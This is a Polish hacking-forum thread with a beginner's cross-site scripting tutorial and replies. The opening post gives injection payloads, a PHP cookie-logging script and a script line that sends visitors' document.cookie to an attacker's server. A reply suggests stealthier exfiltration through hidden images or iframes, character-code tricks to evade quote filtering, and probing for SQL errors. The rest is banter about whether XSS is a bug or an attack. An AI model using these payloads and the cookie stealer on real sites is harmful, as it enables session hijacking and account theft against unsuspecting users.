Ataki typu XSS - Minitutorial

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
Ataki typu Cross-Site Scripting (XSS) są obecnie jedną z najpopularniejszych metod ataków na strony internetowe, a to z uwagi na bardzo duże możliwości wprowadzenia w kod strony własnego skryptu.

Na czym właściwie polaga taki atak?
Na wykonaniu na obcej stronie własnego kodu HTML jub Jaba Script. Niestety, tą metodą nie wykonamy na stronie kodu PHP (PHP Injection).
Za przykład niech posłuży nam mała wyszukiwarka...
Po wpisaniu np. testu "BURA SUKA" otzymamy taki kod:

<html>
<head>
<title>BURA SUKA - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "BURA SUKA".
</doby>
</html>


Nasz tekst został dopisany do kodu źródłowego strony.
Sprawdźmy czy filtrowane są znaczniki HTML...

<h1>BURA SUKA</h1>

Założymy że nie są. Kod więc będzie teraz wyglądał tak:


<html>
<head>
<title><h1>BURA SUKA</h1> - szukajka.com</title>
</head>
<body>
Nie znaleziono danego tekstu: "<h1>BURA SUKA</h1>".
</doby>
</html>



Wykonaliśmy swój kod HTML na obcej stronie. Równie dobrze możemy więc wykonać kod Java Script...

<script language="JavaScript">alert('Owned');</script>

Korzystając z podatności na atak typu XSS możemy naszą strone po prostu prymitywnie "rozwalić".

Slownik2.gif

PiS_Sinis.gif


Jednak wiele praktyczniej jest przechwycić pliki cookies osoby przeglądającej te strone, jeżeli oczywiście cookiesy są używane i znajduje sie w nich coś ciekawego... Oto przykładowy kod PHP "cookiesokradziejki":


Kod:
<?php

$Fx = fopen("cookies.txt", "a");

fputs($Fx, $_GET['Cookies']);

fputs($Fx, "n");

fclose($Fx);

?>

<script language = "JavaScript">

document.location = "http://www.google.pl";

</script>

Plik ów umieszczamy na swoim serwerze (z obsługą PHP oczywiście ;-) ).

Natomiast na obcą strone dodamy taki kod:

Kod:
<script language = "JavaScript">document.location="http://www.naszserwer.pl/Naszskrypt.php?Cookies="+document.cookie</script>



Na końcu przedstawie może kilka przykładów ataku XSS.


<html>
<head>
<title>NASZTEKST</title>
</head>
<body>
Witam!
</body>


NASZTEKST = </title></head>XSS




[...]
<img src = "NASZTEKST">
[...]

NASZTEKST = ">XSS





[...]
<a href = "NASZTEKST">Strona Usera</a>
[...]


NASZTEKST = "></a>XSS



Pozdrawiam ;-)

Magnefikko.








PS. Przepraszam za żałosne wykonanie.
 
3

31337

Gość
xss to nie atak tylko blad.
chociaz zazwyczaj jak sa takie bledy to warto wpisac '); i obejrzec sql error
<

Ataki typu Cross-Site Scripting (XSS) są obecnie jedną z najpopularniejszych metod ataków na strony internetowe,[/b]
lol?

<script language="JavaScript">alert('Owned');</script>[/b]
a o magic_quotes zapomniales? ja kozystam z String.fromCharCode(pos)/"text".charCodeAt(ind), nie trzeba apostrofuf.

<?php
$Fx = fopen("cookies.txt", "a");
fputs($Fx, $_GET['Cookies']);
fputs($Fx, "n");
fclose($Fx);
?>
<script language = "JavaScript">
document.location = "http://www.google.pl";
</script>[/b]
a co jesli bedzie znak &';? lepiej $_SERVER['QUERY_STRING'] niz get, no i nie fputs, bo rn tez mze byc...
i to przekierowanie w js... zal, zal, zal.
lepiej zrobic obrazek/iframe i ustawic go jako ukryty
.

PS. Przepraszam za żałosne wykonanie.[/b]
nie masz za co przepraszac, nie twoja wina ze jeszcze malo umiesz. Licza sie checi.
 

jurgensen

Użytkownik
Dołączył
Grudzień 14, 2006
Posty
678
A jednak XSS nie jest błędem a atakiem. Świadczy o tym chociażby końcówka scripting która oznacza jakąś czynność
 
3

31337

Gość
dla ciebie atak, dla mnie blad. Po prostu ciezko go wykorzystac, przyklad - to forum.
Co najmniej 3 xssy a zaden mod nie stracil konta. Sa rowniez ciasteczka httponly, i wtedy jak server nie obsluguje trace to xss nic nic nie moze zrobic. Chyba ze formularze nie maja tokenow
<
 

amex

Użytkownik
Dołączył
Marzec 11, 2007
Posty
934
XSS, to metoda wykorzystania błędu, czyli atak, to nie jest błąd xD

a art całkiem dobry xD tak już się zbieram od tygodnia żeby swój poprawić i jakoś mi nie idzie xD będzie że plagiat, ale co tam xD
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
Dobry tutorial dla początkujących. Atak XSS jest prosty i skuteczny, ale nie wszystkich kręci napis Owned/Own3d
<
 

Magnefikko

Były Moderator
Dołączył
Maj 29, 2004
Posty
709
"Owned" dałem dla przykładu ;-)

Po prostu ciezko go wykorzystac[/b]

To na prawde zależy od strony. Czasem jest wielce przydatny i łatwy do wykorzystania.



nie masz za co przepraszac, nie twoja wina ze jeszcze malo umiesz[/b]

Stan (niski również) mojej wiedzy jest wyłącznie moją winą xD
Poza tym cała Twoja wypowiedź wygląa jakbyś chciał zgnębić biednego, głupiutkiego użytkownika podkreślając swoją wiedze. Czuje sie taki malutki ;-)
 

Zero_Cool

Użytkownik
Dołączył
Listopad 1, 2006
Posty
206
Originally posted by 31337
nie masz za co przepraszac, nie twoja wina ze jeszcze malo umiesz
auć , ktos tu ostro pojechal
smile.gif
nie powiem po czym

Originally posted by Magnefikko
Poza tym cała Twoja wypowiedź wygląa jakbyś chciał zgnębić biednego, głupiutkiego użytkownika podkreślając swoją wiedze.
hoho , no nie da sie ukryc :hahaha:

jesli o mnie chodzi , tutek ok , tylko mogloby byc w nim troche wiecej info , nie wiem moze inny/lepszy przyklad
smile.gif

jedyne co mi sie nie podoba, i to bardzo, to zdanie ktore napisales na koniec jako PS.
nigdy nie pisz takich rzeczy, a przynajmniej nie w takiej formie, swiadczy to o Twojej niskiej samoocenie i samo w sobie jest zalosne
smile.gif
poza tym skoro sam wiesz, ze jest to zalosne , to po co nam to wlasnie tak przedstawiasz ? jeśli sam tak myslisz , to co maja sobie myslec czytelnicy ?
smile.gif
a tymczasem glowa do gory i czekamy na wiecej
pozdro
 
Do góry Bottom